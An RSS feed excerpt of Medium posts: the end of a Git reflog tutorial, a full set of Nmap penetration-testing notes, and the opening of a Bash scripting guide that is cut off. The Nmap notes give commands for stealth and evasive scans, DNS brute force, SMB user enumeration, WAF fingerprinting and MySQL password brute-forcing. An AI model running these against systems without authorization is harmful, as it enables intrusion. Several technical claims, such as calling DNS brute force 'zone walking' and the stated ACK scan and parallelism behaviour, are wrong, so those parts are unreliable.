other references were updated in the repo.</p><p>We can view and update these reference logs using the git reflog command.</p><h4>Limitations: -</h4><ul><li>Git only keeps reflog on our local activity. They are not shared with collaborators.</li><li>Reflog also expires. Git cleans out old entries after around 90 days, though this can be configured.</li></ul><p>The git reflog command accepts subcommands <strong>show, expire, delete,</strong> and <strong>exist.</strong> Show is the only commonly used variant, and it is the default subcommand.</p><p>git reflog show will show the log of a specific reference( it defaults to HEAD).</p><p><strong>For example,</strong> to view the logs for the tip of the main branch we could git reflog show main.</p><h4>Reflog References</h4><p>We can access specific git refs is <strong>name@{qualifier}.</strong> We can use this syntax to access specific ref pointers and can pass them to other commands including checkout, reset, and merge.</p><pre>git checkout HEAD@{2}</pre><p>The command git checkout HEAD@{2} in Git is used to switch the working directory and the staging area to the state of the repository at the specified reference. The HEAD@{2} refers to the commit that HEAD was pointing to two references ago.</p><h4>Time-Based Specifications</h4><p>Reflog references can be specified using time-based expressions like <strong>HEAD@{1.hour.ago}</strong>, <strong>HEAD@{yesterday}</strong>, or <strong>HEAD@{2.days.ago}</strong>. These expressions allow us to refer to entries at specific points in time.</p><p>master@{one.week.ago} means &quot;where master used to point to one week ago in this local repository&quot;, and so on.</p><h4>Reflogs Rescue</h4><p>We can sometimes use reflog entries to access commits that seem lost and do not appear in the git log.</p><h4>1. Recovering from an Accidental Reset:</h4><p>If we accidentally reset a branch and want to recover it to a previous state, we can use the reflog:</p><pre># Find the commit hash from the reflog<br>git reflog &lt;branch_name&gt;<br># Reset the branch to the desired commit<br>git reset --hard &lt;commit_hash&gt;</pre><h4>2. Recovering from a Deleted Branch:</h4><p>If we accidentally delete a branch, the reflog can help us recover it:</p><pre># Find the commit hash where the branch was deleted<br>git reflog show --date=local --relative-date &lt;branch_name&gt;<br># Create a new branch at the commit hash<br>git branch &lt;new_branch_name&gt; &lt;commit_hash&gt;</pre><h4>3. Recovering from Other Unintended Changes:</h4><p>The reflog can be used in various situations where we need to undo or recover from unintended changes. For example, if we accidentally amend a commit or perform other actions that modify the commit history:</p><pre># Find the commit hash from the reflog<br>git reflog<br># Reset the branch or HEAD to the desired commit<br>git reset --hard &lt;commit_hash&gt;</pre><p>In conclusion, mastering Git and GitHub opens doors to a world of collaborative software development and version control. By understanding the fundamentals I’ve covered in this blog, we’re equipped with the tools to streamline your workflow, collaborate effectively with teams, and contribute confidently to open-source projects. Remember, the journey of learning is ongoing, so keep exploring, experimenting, and sharing your knowledge with others. Happy coding! 😄</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e3294ae5e96" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nmap]]></title>
            <link>https://medium.com/@ayandey_75377/nmap-e8e7c0a647cb?source=rss-7ef4869f26de------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8e7c0a647cb</guid>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[nmap]]></category>
            <dc:creator><![CDATA[Ayan Dey]]></dc:creator>
            <pubDate>Sat, 02 Sep 2023 15:26:15 GMT</pubDate>
            <atom:updated>2023-09-03T06:50:30.375Z</atom:updated>
            <content:encoded><![CDATA[<h4>Nmap for Penetration Testing</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/256/0*00trGqdwjegwR0i8.png" /></figure><p>I recently completed a course on bash scripting on Udemy. I have documented my learnings here so that I can have a clear understanding of what I have gained from the course. I have not included the project work in this document, as I would like to encourage anyone interested to check out the full <a href="https://www.udemy.com/course/nmap-for-penetration-testing/"><strong>course</strong></a>.</p><p><strong>Let’s get started</strong>😃</p><h3>About Nmap</h3><p>Nmap, short for “Network Mapper”, is a free and open-source tool used for network exploration, management, and security auditing. It is commonly used by network administrators and security professionals to discover hosts and services on a computer network, as well as create a map of the network. Nmap can also be used to identify vulnerabilities within the network that can be exploited by malicious actors.</p><p>It uses a command-line interface and can be used with scripts to automate tasks. Nmap uses a variety of scanning techniques, including port scanning, version detection, and operating system detection.</p><p>One of the advantages of using Nmap is that it can be customized to fit the specific needs of the user. For example, it can be used to scan a single host or an entire network, and the output can be customized to fit the desired format.</p><p>For more information on using Nmap, you can refer to the following materials:</p><p><a href="https://nmap.org/"><em>Nmap Official Website</em></a></p><h3>Host Discovery</h3><p>To perform host discovery using Nmap, you can use the following command:</p><pre>nmap -sn &lt;target&gt;</pre><p>The -sn flag tells Nmap to perform a &quot;ping scan&quot; and only detect hosts that are up. Replace &lt;target&gt; with the IP address or hostname of the target network you want to scan.</p><p>For more information on using Nmap for host discovery, you can refer to the following resources:</p><p><a href="https://nmap.org/book/man-host-discovery.html"><em>Nmap Reference Guide: Host Discovery</em></a></p><h3>TCP Flags</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*rwi1mzcyouln1WRifEN-Sg.png" /></figure><p>We can see that the port number is allocated 16 bits (2 bytes). In the second and third rows, we have the sequence number and the acknowledgment number. Each row has 32 bits (4 bytes) allocated, with six rows total, making up 24 bytes.</p><p>We have highlighted the TCP flags in red. Setting a flag bit means setting its value to <strong>1</strong>. From left to right, the TCP header flags are:</p><ol><li><strong>URG</strong>: Urgent flag indicates that the <em>urgent pointer</em> filed is significant. The urgent pointer indicates that the incoming data is urgent, and that a TCP segment with the URG flag set is processed immediately without consideration of having to wait on previously sent TCP segments.</li><li><strong>ACK</strong>: Acknowledgement flag indicates that the acknowledgement number is significant. It is used to <em>acknowledge the receipt of a TCP segment</em>.</li><li><strong>PSH</strong>: Push flag asking TCP to pass the data to the application promptly.</li><li><strong>RST</strong>: Reset flag is used to <em>reset the connection</em>. Another device, such as a firewall, might send it to tear a TCP connection. This flag is also used when data is sent to a host and there is no service on the receiving end to answer.</li><li><strong>SYN</strong>: Synchronize flag is used to <em>initiate a TCP 3-way handshake</em> and synchronize sequence numbers with the other host. The sequence number should be set randomly during TCP connection establishment.</li><li><strong>FIN</strong>: The sender has no more data to send.</li></ol><h3>TCP SYN Ping</h3><p>To perform a TCP SYN ping using Nmap, you can use the following command:</p><pre>nmap -PS &lt;target&gt;</pre><p>The -PS flag tells Nmap to perform a TCP SYN ping. Replace &lt;target&gt; with the IP address or hostname of the target network you want to scan.</p><p>For more information on using Nmap for host discovery, you can refer to the following resources:</p><ul><li><a href="https://nmap.org/book/man-host-discovery.html">Nmap Reference Guide: Host Discovery</a></li></ul><h3>UDP Ping Scan</h3><p>To perform a UDP ping scan using Nmap, you can use the following command:</p><pre>nmap -PU &lt;target&gt;</pre><p>The -PU flag tells Nmap to perform a UDP ping. Replace &lt;target&gt; with the IP address or hostname of the target network you want to scan.</p><p>For more information on using Nmap for host discovery, you can refer to the following resources:</p><ul><li><a href="https://nmap.org/book/man-host-discovery.html">Nmap Reference Guide: Host Discovery</a></li></ul><h3>ARP Ping Scan</h3><p>To perform an ARP ping scan using Nmap, you can use the following command:</p><pre>nmap -PR &lt;target&gt;</pre><p>The -PR flag tells Nmap to perform an ARP ping. Replace &lt;target&gt; with the IP address or hostname of the target network you want to scan.</p><p>ARP ping is a type of host discovery method that relies on the <strong>Address Resolution Protocol (ARP)</strong> to discover hosts on a local network. It works by sending an ARP request to the target network, and if a device responds, it means that the device is up and running.</p><p>ARP ping can be useful in situations where ICMP ping is blocked or not allowed. Additionally, ARP ping can be used to discover hosts on a local network that are not visible to other types of ping scans.</p><p><strong><em>ARP scan is possible only if you are on the same subnet as the target systems.</em></strong></p><p>Moreover, if your system has more than one interface and you are interested in discovering the live hosts on one of them, you can specify the interface using -I. For instance, sudo arp-scan -I eth0 -l will send ARP queries for all valid IP addresses on the eth0 interface.</p><h3>ICMP Echo Ping</h3><p>To perform an ICMP echo ping scan using Nmap, you can use the following command:</p><pre>nmap -PE &lt;target&gt;</pre><p>The -PE flag tells Nmap to perform an ICMP echo ping. Replace &lt;target&gt; with the IP address or hostname of the target network you want to scan.</p><p>ICMP echo ping is a type of host discovery method that relies on the <strong>Internet Control Message Protocol (ICMP)</strong> to discover hosts on a network. It works by sending an ICMP echo request to the target network, and if a device responds, it means that the device is up and running.</p><h3>ICMP Timestamp Ping</h3><p>To perform an ICMP timestamp ping scan using Nmap, you can use the following command:</p><pre>nmap -PP &lt;target&gt;</pre><p>The -PP flag tells Nmap to perform an ICMP timestamp ping. Replace &lt;target&gt; with the IP address or hostname of the target network you want to scan.</p><p><strong>ICMP timestamp ping</strong> is another type of host discovery method that relies on ICMP to discover hosts on a network. It works by sending an ICMP timestamp request to the target network, and if a device responds, it means that the device is up and running.</p><p>The <strong>ICMP Address Mask Request</strong> and <strong>Address Mask Reply</strong> query messages provide a host with the ability to determine the subnet mask in use on the local network. This is achieved by sending an Address Mask Request query message to the local broadcast address of 255.255.255.255, which is then responded to with an Address Mask Reply message.</p><p>In an attempt to discover live hosts using ICMP address mask queries, we run the command nmap -PM -sn MACHINE_IP/24.</p><blockquote><strong>Use of ICMP Mask Request and Reply</strong></blockquote><blockquote><strong>Network Troubleshooting:</strong> This can be useful for network administrators to diagnose and troubleshoot network connectivity issues. If there is a discrepancy or misconfiguration in the subnet masks between hosts, it can cause communication problems, and identifying the correct subnet mask can aid in resolving the issue.</blockquote><blockquote><strong>Network Address Planning:</strong> By using ICMP Mask Requests, administrators can gather information about the subnet masks of hosts to ensure that IP addresses and subnet masks are properly assigned, avoiding conflicts and ensuring efficient use of network resources.</blockquote><blockquote><strong>Network Scanning and Reconnaissance:</strong> By sending ICMP Mask Requests to various hosts on a network, an attacker can gather information about the subnet masks in use, which can provide insights into the network topology, IP address ranges, and potentially vulnerable or misconfigured systems.</blockquote><blockquote><strong>ICMP</strong></blockquote><blockquote><strong>ICMP, or Internet Control Message Protocol</strong>, is a protocol used by network devices to send error messages and operational information about network conditions. ICMP is used to test the reachability of a network device, as well as to diagnose network problems. ICMP is commonly used by tools such as ping and traceroute to test network connectivity. There are different types of ICMP messages, including echo request and echo reply, which are used by ping to test network connectivity. Additionally, there are other types of ICMP messages, such as destination unreachable and time exceeded, which are used to report errors and diagnose network problems.</blockquote><h3>IP Protocol Ping Scan</h3><p>To perform an IP protocol ping scan using Nmap, you can use the following command:</p><pre>nmap -PO &lt;target&gt;</pre><p>The -PO flag tells Nmap to perform an IP protocol ping. Replace &lt;target&gt; with the IP address or hostname of the target network you want to scan.</p><h3>Port Scanning Options &amp; Ranges</h3><p>Nmap offers a variety of options for port scanning. Here are some examples of commonly used options:</p><ul><li>p: This option allows you to specify a range of ports to scan. For example, p 1-1000 would scan ports 1 through 1000.</li><li>F: This option tells Nmap to scan only the most common ports, which are usually the ones that are most likely to be open.</li><li>sS: This option tells Nmap to perform a <strong>TCP SYN scan</strong>, which is a commonly used method for scanning ports.</li><li>sT: This option tells Nmap to perform a <strong>TCP connect scan</strong>, which is another commonly used method for scanning ports.</li><li>sU: This option tells Nmap to perform a <strong>UDP scan</strong>, which can be used to scan for open UDP ports.</li></ul><p>Additionally, Nmap allows you to specify individual ports or port ranges with the -p option. For example, -p 22,80,443 would scan only ports 22, 80, and 443. You can also specify multiple port ranges with commas, like -p 1-100,200-300,400-500 to scan ports 1 through 100, 200 through 300, and 400 through 500.</p><h3>TCP Connect Scan</h3><p>To perform a TCP connect scan using Nmap, you can use the following command:</p><pre>nmap -sT &lt;target&gt;</pre><p>The -sT flag tells Nmap to perform a <strong>TCP connect scan</strong>. Replace &lt;target&gt; with the IP address or hostname of the target network you want to scan.</p><p>If you want Nmap to use <strong>TCP SYN ping</strong>, you can do so via the option -PS followed by the port number, range, list, or a combination of them.</p><h3>OS Detection</h3><p>To detect the operating system of a target using Nmap, you can use the following command:</p><pre>nmap -O &lt;target&gt;</pre><p>The -O flag tells Nmap to perform an operating system detection scan. Replace &lt;target&gt; with the IP address or hostname of the target network you want to scan.</p><h3>Service Detection</h3><p>To detect the services running on a target using Nmap, you can use the following command:</p><pre>nmap -sV &lt;target&gt;</pre><p>The -sV flag tells Nmap to perform a service detection scan. Replace &lt;target&gt; with the IP address or hostname of the target network you want to scan.</p><h3>Stealth Scan</h3><p>A stealth scan, also known as a SYN scan or half-open scan, is a technique used to avoid detection by security systems. To perform a stealth scan using Nmap, you can use the following command:</p><pre>nmap -sS &lt;target&gt;</pre><p>The -sS flag tells Nmap to perform a TCP SYN scan, which is a type of stealth scan. Replace &lt;target&gt; with the IP address or hostname of the target network you want to scan.</p><p>A TCP SYN scan works by sending a <strong>SYN packet</strong> to the target’s port, and if the port is open, the target will respond with a <strong>SYN-ACK packet</strong>. However, instead of completing the three-way handshake, the scanner sends a <strong>RST packet</strong> to terminate the connection. This method can help avoid detection by security systems that monitor for full TCP connections.</p><h3>Aggressive Scanning</h3><p>Aggressive scanning is a type of port scanning that is designed to be more intrusive than other scanning methods. It can be used to identify services and vulnerabilities that might not be detected using other scanning methods. Aggressive scanning can also be used to gather more information about a target network or device, such as operating system information and network topology.</p><p>To perform aggressive scanning using Nmap, you can use the following command:</p><pre>nmap -A &lt;target&gt;</pre><p>The -A flag tells Nmap to perform aggressive scanning. Replace &lt;target&gt; with the IP address or hostname of the target network you want to scan.</p><p>Aggressive scanning can be more risky than other scanning methods, as it can potentially cause disruptions to the target network or device. It is important to use caution and obtain proper authorization before performing aggressive scanning on a network or device.</p><h3>FIN Scanning</h3><p>To perform a FIN scan using Nmap, you can use the following command:</p><pre>nmap -sF &lt;target&gt;</pre><p>The -sF flag tells Nmap to perform a FIN scan. Replace &lt;target&gt; with the IP address or hostname of the target network you want to scan.</p><p>A FIN scan works by sending a <strong>TCP FIN</strong> packet to the target’s port. If the port is closed, the target will respond with a <strong>TCP RST</strong> packet. However, if the port is open, the target will not respond, indicating that the port is filtered.</p><p><strong>FIN scanning</strong> can be useful for scanning systems that are protected by firewalls, as it can help identify open ports that might not be detected using other scanning methods.</p><h3>XMAS Scanning</h3><p>To perform an XMAS scan using Nmap, you can use the following command:</p><pre>nmap -sX &lt;target&gt;</pre><p>The -sX flag tells Nmap to perform an XMAS scan. Replace &lt;target&gt; with the IP address or hostname of the target network you want to scan.</p><p>An XMAS scan works by sending a <strong>TCP packet</strong> with the <strong>FIN</strong>, <strong>URG</strong>, and <strong>PSH</strong> flags set to the target’s port. If the port is open, the target will not respond, indicating that the port is <strong>filtered</strong>.</p><h3>Null Scanning</h3><p>To perform a null scan using Nmap, you can use the following command:</p><pre>nmap -sN &lt;target&gt;</pre><p>The -sN flag tells Nmap to perform a null scan. Replace &lt;target&gt; with the IP address or hostname of the target network you want to scan.</p><p>A null scan works by sending a <strong>TCP packet</strong> with no flags set to the target’s port. If the port is closed, the target will respond with a <strong>TCP RST</strong> packet. However, if the port is open, the target will not respond, indicating that the port is filtered.</p><blockquote>Both XMAS and null scanning can be useful for scanning systems that are protected by firewalls, as they can help identify open ports that might not be detected using other scanning methods.</blockquote><p>However, they can also be more risky than other scanning methods, as they can potentially cause disruptions to the target network or device. It is important to use caution and obtain proper authorization before performing these types of scans on a network or device.</p><h3>Firewall detection with ACK</h3><p>Firewall detection with ACK is a technique used to identify the presence of a firewall between two hosts on a network. The technique involves sending TCP ACK packets with different flag combinations and observing the response from the destination host.</p><p>When a <strong>TCP ACK packet</strong> is sent to a destination host, the host will typically respond with a TCP packet containing either an <strong>ACK or RST (reset) flag</strong>. If the <em>destination host responds with an ACK packet, this indicates that the port is open and the firewall is allowing traffic through</em>. If the host <em>responds with an RST packet, this indicates that the port is closed or filtered, and the firewall is blocking traffic</em>.</p><pre>nmap -sA &lt;target&gt;</pre><p>Firewall detection with ACK can be useful for identifying potential security vulnerabilities in a network, as well as for troubleshooting network connectivity issues.</p><h3>Timing Templates</h3><p>Timing templates in Nmap are a feature that allows users to <strong>control the speed and aggressiveness of Nmap scans by specifying pre-defined timing options</strong>. Timing templates allow users to select from a set of pre-configured scan speed options based on the network environment and target being scanned.</p><p>The timing templates available in Nmap are:</p><ul><li>-T0 - paranoid</li><li>-T1 - sneaky</li><li>-T2 - polite</li><li>-T3 - normal</li><li>-T4 - aggressive</li><li>-T5 - insane</li></ul><pre>nmap -T4 &lt;target&gt;</pre><p>Timing templates are a useful feature of Nmap that can help users balance the need for fast scans with the potential risk of detection or interference from network security devices. By selecting an appropriate timing template based on the network environment and target being scanned, users can optimize their scans for speed and accuracy while minimizing the risk of false positives or triggering security alerts.</p><h3>Parallelism</h3><p>Parallelism in Nmap refers to the ability to perform multiple scans at the same time in order to speed up the overall scanning process. Nmap is capable of performing multiple scans in parallel by default.</p><p>By default, Nmap uses a parallelism level of 4, meaning that it will perform up to 4 scans at a time. This is usually sufficient for most scanning scenarios, but users can adjust the level of parallelism using the <strong>-T</strong> option followed by a number from <strong>0 to 5</strong>. <em>A higher value means more parallel scans, while a lower value means fewer parallel scans.</em></p><pre>nmap -T5 -p 80,443 -oA outputfile --open &lt;targetlist&gt;</pre><p>In addition to specifying the parallelism level, users can also adjust the scan rate using the <strong>--max-rtt-timeout</strong> and <strong>--min-rtt-timeout</strong> options. These options control how long Nmap waits for a response from a host before moving on to the next one.</p><h3>Scan Delay</h3><p>Scan delay in Nmap refers to the amount of time that Nmap waits between sending individual packets during a scan. Scan delay can be used to reduce the likelihood of detection or interference from network security devices such as firewalls and intrusion detection systems (IDS).</p><p>Scan delay can be specified using the <strong>--scan-delay</strong> option followed by a time value in milliseconds.</p><pre>nmap -T4 --scan-delay 500ms &lt;target&gt;</pre><p><em>Nmap also includes a built-in scan delay randomization feature. This feature randomly adjusts the scan delay by up to 5 milliseconds</em></p><p>In Nmap, scripts can be used to automate certain tasks and gather additional information during a scan. To run a specific script in Nmap, use the <strong>--script</strong> option followed by the name of the script or script category.</p><pre>nmap -sV --script http-title &lt;target&gt;</pre><p>Multiple scripts can be specified by separating them with a comma.</p><pre>nmap -sV --script http-title,ssl-heartbleed &lt;target&gt;</pre><p>It’s also possible to run scripts based on a category by specifying the category name.</p><pre>nmap -sV --script vuln &lt;target&gt;</pre><p><em>The Nmap scripts are stored in the </em><strong><em>/usr/share/nmap/scripts</em></strong><em> directory.</em></p><h3>Banner Grabbing</h3><p>Banner grabbing with Nmap refers to the process of obtaining information about a remote system’s services, operating system, and other details by analyzing the banners or headers returned by the services.</p><p>Nmap provides several options for performing banner grabbing during a scan. One of the most common methods is to use the <strong>-sV</strong> option, which enables version detection.</p><p>Another option for banner grabbing is to use the <strong>--script banner</strong> option. This option runs the <strong>banner</strong> script, which attempts to extract the banner information from the service running on each open port.</p><pre>nmap --script banner &lt;target&gt;</pre><h3>DNS Enumeration — Zone transfer &amp; DNS Bruteforce</h3><p>DNS enumeration is the process of gathering information about a domain name system (DNS) server, such as its <strong>IP address, hostname, and associated domain names.</strong></p><p>One technique for DNS enumeration is <strong>zone transfer</strong>, which is the process of requesting a copy of a DNS server’s zone file. The zone file contains information about all the DNS records for a particular <strong><em>domain, including subdomains, IP addresses</em>,</strong> and other identifying information.</p><p>To perform a zone transfer, an attacker sends a DNS request to the target DNS server with the query type set to <strong>“AXFR”</strong> (short for “zone transfer”). If the DNS server is misconfigured and allows zone transfers to <em>unauthorized clients</em>, the attacker can obtain a copy of the zone file and use the information contained therein for further attacks.</p><p><em>Zone transfers can be performed using a variety of tools, including Nmap and dig.</em></p><pre>dig axfr &lt;domain&gt; @&lt;dns-server&gt;</pre><p>Nmap provides several options for performing DNS enumeration during a scan. One of the most common methods is to use the <strong>-sL</strong> option, which performs a simple list scan of the target domain name, enumerating its DNS entries.</p><pre>nmap -sL &lt;domain&gt;</pre><p>Another option for DNS enumeration is to use the **--script dns-nsid**option. This option runs the <strong>dns-nsid</strong> script, which queries the DNS server for its NSID information.</p><p>The DNS Name Server Identifier (NSID) Option is <strong>a DNS extension that helps disambiguate name servers that share IP addresses in any cast setups</strong>. NSID is useful for DNS analysis by name server administrators and researchers.</p><p><strong>DNS extension that standardizes such a mechanism that</strong> allows name servers to include a name server identifier in their DNS responses, if requested by a client.</p><p><strong>DNS bruteforce, also known as DNS zone walking</strong>, is a technique used to enumerate subdomains of a domain by guessing and testing different possible subdomain names. This technique can be used for reconnaissance purposes to identify potential targets for further attacks.</p><p>It’s worth noting that DNS bruteforce can be considered a form of reconnaissance and may be illegal or unethical in certain circumstances.</p><p>Nmap has several options for performing DNS enumeration and bruteforcing, including the <strong>--dns-servers</strong> option to specify one or more DNS servers to query, and the <strong>--script dns-brute</strong> option to perform DNS brute-forcing.</p><pre>nmap --script dns-brute &lt;domain&gt;</pre><p>We can also specify a list of subdomains to test using the <strong>--script-args</strong> option</p><pre>nmap --script dns-brute --script-args dns-brute.domain=&lt;domain&gt;,dns-brute.hostlist=&lt;subdomain_list_file&gt; &lt;dns_server&gt;</pre><h3>HTTP Enumeration Methods</h3><p>HTTP enumeration is the process of gathering information about an HTTP server to identify potential vulnerabilities and attack vectors.</p><p>To perform HTTP enumeration using Nmap, you can use the options and scripts as follows:</p><pre>nmap -sV -sS -p80 --script=http-enum.nse &lt;target&gt;</pre><p>This command performs version detection and TCP SYN scanning on port 80 of the target system and uses the <strong>http-enum.nse</strong> script to perform HTTP enumeration by retrieving various files and directories from the target web server.</p><p>Nmap can be used for HTTP enumeration to find some basic information about a web server, such as the web server software, open ports, and other details. Here’s an example Nmap command to scan a web server and enumerate its HTTP service:</p><pre>nmap -p 80,443 --script http-enum &lt;target&gt;</pre><p>This command scans for HTTP and HTTPS services on ports 80 and 443 respectively and runs the http-enum script to enumerate directories and files. <strong>However, note that this script is ineffective at finding hidden files and directories.</strong></p><p><strong>WAF( Web Application Firewall) detection and fingerprinting</strong></p><p>Here’s an example Nmap command to detect a WAF:</p><pre>nmap -p80 --script=http-waf-detect &lt;target&gt;</pre><p>This command scans for the HTTP service on port 80 and runs the <em>http-waf-detect</em> script, which tries to detect the presence of a WAF by sending various HTTP requests and analyzing the responses.</p><p>Nmap also has scripts to fingerprint different types of WAFs. Here are a few examples:</p><pre>nmap -p80 --script=http-waf-fingerprint &lt;target&gt;</pre><p>This command uses the<em> http-waf-fingerprint</em> script to try to identify the WAF software and version in use.</p><pre>nmap -p80 --script=http-waf-detect --script-args http-waf-detect.aggro &lt;target&gt;</pre><p>This command runs the <em>http-waf-detect</em> script in aggressive mode, which may increase the accuracy of the WAF detection.</p><p>Note that WAF fingerprinting can be a difficult task, as WAFs can be configured to hide their identity or respond in unexpected ways.</p><h3>SMB Enumeration</h3><p>Nmap is a powerful tool for network scanning and can be used for SMB (Server Message Block) enumeration.</p><pre>nmap -p 139,445 --script smb-enum-shares.nse &lt;target&gt;</pre><p>This command scans for SMB services on ports 139 and 445 and runs the <em>smb-enum-shares.nse</em> script, which tries to list the available shares on the target system.</p><pre>nmap -p 139,445 --script smb-enum-users.nse &lt;target&gt;</pre><p>This command uses the<em> smb-enum-users.nse</em> script to try to enumerate the users on the target system.</p><pre>nmap -p 139,445 --script smb-enum-sessions.nse &lt;target&gt;</pre><p>This command uses the smb-enum-sessions.nse script to try to enumerate the active SMB sessions on the target system.</p><pre>nmap -p 139,445 --script smb-os-discovery.nse &lt;target&gt;</pre><p>This command uses the <em>smb-os-discovery.nse</em> script to try to identify the operating system of the target system.</p><blockquote>Note that these scripts may require authentication to work properly, and may also be blocked by firewalls or other security measures.</blockquote><h3>MySQL Enumeration</h3><p>Here’s an example Nmap command to enumerate MySQL servers:</p><pre>nmap -p 3306 --script mysql-enum.nse &lt;target&gt;</pre><p>This command scans for MySQL services on port 3306 and runs the <em>mysql-enum.nse</em> script, which tries to enumerate the databases and tables on the target server.</p><p>Nmap also has scripts to check for default credentials, brute-force authentication attempts, and other MySQL-related information. Here are a few examples:</p><pre>nmap -p 3306 --script mysql-empty-password.nse &lt;target&gt;</pre><p>This command uses the <em>mysql-empty-password.nse</em> script to try to check if the MySQL server has an empty password for the root user.</p><pre>nmap -p 3306 --script mysql-brute.nse --script-args userdb=&lt;userlist&gt;,passdb=&lt;passlist&gt; &lt;target&gt;</pre><p>This command uses the <em>mysql-brute.nse</em> script to brute-force the MySQL authentication using a list of usernames and passwords.</p><pre>nmap -p 3306 --script mysql-info.nse &lt;target&gt;</pre><p>This command uses the<em> mysql-info.nse </em>script to retrieve information about the MySQL server, such as its version number, character set, and default collation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8e7c0a647cb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bash Shell Scripting]]></title>
            <link>https://medium.com/@ayandey_75377/bash-shell-scripting-f67310ad36b6?source=rss-7ef4869f26de------2</link>
            <guid isPermaLink="false">https://medium.com/p/f67310ad36b6</guid>
            <category><![CDATA[bash-script]]></category>
            <category><![CDATA[bash]]></category>
            <dc:creator><![CDATA[Ayan Dey]]></dc:creator>
            <pubDate>Thu, 10 Aug 2023 13:17:42 GMT</pubDate>
            <atom:updated>2023-08-10T13:17:42.633Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aaS1tXeGgdsyzFOF" /></figure><h4>A complete guide to Bash Shell Scripting</h4><p>I recently completed a course on bash scripting on Udemy. I have documented my learnings here so that I can have a clear understanding of what I have gained from the course. I have not included the project work in this document, as I would like to encourage anyone interested to check out the full <a href="https://www.udemy.com/course/bash-mastery/"><strong>course</strong></a><strong>.</strong></p><p>I found the course to be very informative and well-structured and I would highly recommend it to anyone interested in learning bash scripting.</p><p><strong>Let’s get started</strong>😃</p><h3>Section 1 - How to Build a Bash Script</h3><p><strong>Shell</strong> — A program that intercepts the command we type in our terminal and passes them on to the operating system.</p><blockquote><em>Operating System → Shell → Commands → Us</em></blockquote><p>The purpose of the shell is to make it more convenient for us to issue commands to our computers.</p><h4>Bash Shell</h4><p>BASH = Bourne Again SHell</p><p>Bash can be used <strong>to automate software development tasks such as code compilation, debugging source code, change management and software testing</strong>.</p><p><strong>Why Bash?</strong></p><ul><li>It’s feature-rich.</li><li>It’s fast.</li><li>It’s very common</li></ul><p>When writing a shell script, it is best practice to begin the script with a shebang line, which is a special line that tells the operating system which interpreter to use to parse the rest of the file. The shebang line is typically two characters long, starting with the hash <strong>(#)</strong> symbol and exclamation point <strong>(!)</strong> symbol, followed by the path to the interpreter. For example, the following shebang line tells the operating system to use the Bash shell to interpret the script:</p><pre>#!/bin/bash</pre><p>If a Shebang is not specified, the system uses the default interpreter belonging to the current shell. For example in the bash shell, the default interpreter is bash.</p><p>It is a good practice to mention the shebang line before the start of the script.</p><p>The Shebang interpreter directive takes the following form:</p><pre>#!intrepreter [arguments]<br><br>#!/bin/bash</pre><h4>Exit Status</h4><ol><li>Every Linux or Unix command executed by the shell script or user has an exit status.</li><li>Exit status is an integer number.</li><li>For the bash shell’s purposes, a command which exits with a <strong>zero (0)</strong> exit status has <strong>succeeded</strong>.</li><li>A <strong>non-zero</strong> (1–255) exit status indicates<strong> failure</strong>.</li><li>If a command is not found, the child process created to execute it returns a status of 127. If a command is found but is not executable, the return status is 126.</li><li>All of the Bash built-ins return the exit status of zero if they succeed and a non-zero status of failure.</li></ol><h4><strong>Basic File Permissions</strong></h4><ul><li><strong>owner</strong> — The Owner permissions apply only to the owner of the file or directory, they will not impact the actions of other users.</li><li><strong>group</strong> — The Group permissions apply only to the group that has been assigned to the file or directory, they will not affect the actions of other users.</li><li><strong>all users</strong> — The All Users permissions apply to all other users on the system, this is the permission group that you want to watch the most.</li></ul><p><strong>For example: -</strong></p><p>The permission in the command line is displayed as <strong><em>_rwxrwxrwx 1 owner:group</em></strong></p><p><strong>r = read</strong></p><p><strong>w = write</strong></p><p><strong>x = execute</strong></p><ol><li><strong>User rights/Permissions</strong></li></ol><ul><li>The first character, an <strong>underscore(_)</strong> is the special permission flag which can vary.</li><li>The following set of three characters <strong>(rwx)</strong> is for O<strong>wner</strong> permissions.</li><li>The second set of three characters <strong>(rwx)</strong> is for the <strong>Group</strong> permissions.</li><li>The third set of three characters <strong>(rwx)</strong> is for the <strong>All Users</strong> permissions.</li></ul><p><strong>2.</strong> <strong>Following that grouping since the integer/number displays the number of hard links to the file.</strong></p><p><strong>3. The last piece is the Owner and Group assignment formatted as Owner: Group.</strong></p><blockquote><em>The potential Assignment Operators are </em><strong><em>+ (plus)</em></strong><em> and </em><strong><em>— (minus</em></strong><em>); these are used to tell the system whether to add or remove specific permissions</em>.</blockquote><p>To remove permissions we would invoke the command: <strong><em>chmod a-rw file1.</em></strong></p><p>To add permissions we would invoke the command: <strong><em>chmod a+rw file1.</em></strong></p><p>You must be wondering, what is the use of ‘a’ mentioned above, keep on reading it’s mentioned below.</p><h4><em>Advanced Permissions</em></h4><p>The special permissions flag can be marked with any of the following:</p><ul><li><strong>_</strong> — no special permissions</li><li><strong>d </strong>— directory</li><li><strong>l </strong>— The file or directory is a symbolic link</li><li><strong>s</strong> — This indicated the setuid/setgid permissions. This is not set displayed in the special permission part of the permissions display but is represented in the read portion of the owner or group permissions.</li><li><strong>t</strong> — This indicates the sticky bit permissions. This is not set displayed in the special permission part of the permissions display but is represented as a t in the executable portion of all user’s permissions</li></ul><p>The command for changing directory permissions for group owners is similar, add a <strong>“g”</strong> for<em> the </em><strong><em>group</em></strong>, <strong>“o”</strong> for <strong><em>others,</em></strong><em> </em>and for <strong><em>everyone</em></strong> either <strong>‘a’</strong> or <strong>‘ugo’,</strong> <strong>chmod u</strong> represents permissions for the <em>user owner.</em></p><ul><li><strong>chmod ug+rwx example.txt</strong>: gives the owner and group of the file example.txt read, write, and execute permissions</li><li><strong>chmod g+w filename</strong>: gives the group of the file write permission only</li><li><strong>chmod g-wx filename</strong>: removes the write and execute permissions for the group from the file</li><li><strong>chmod o+w filename: </strong>grants write permission to the “other” user for the file.</li><li><strong>chmod o-rwx foldername: </strong>removes the read, write, and execute permissions for others from the folder.</li></ul><p><strong>How to Change Groups of Files and Directories in 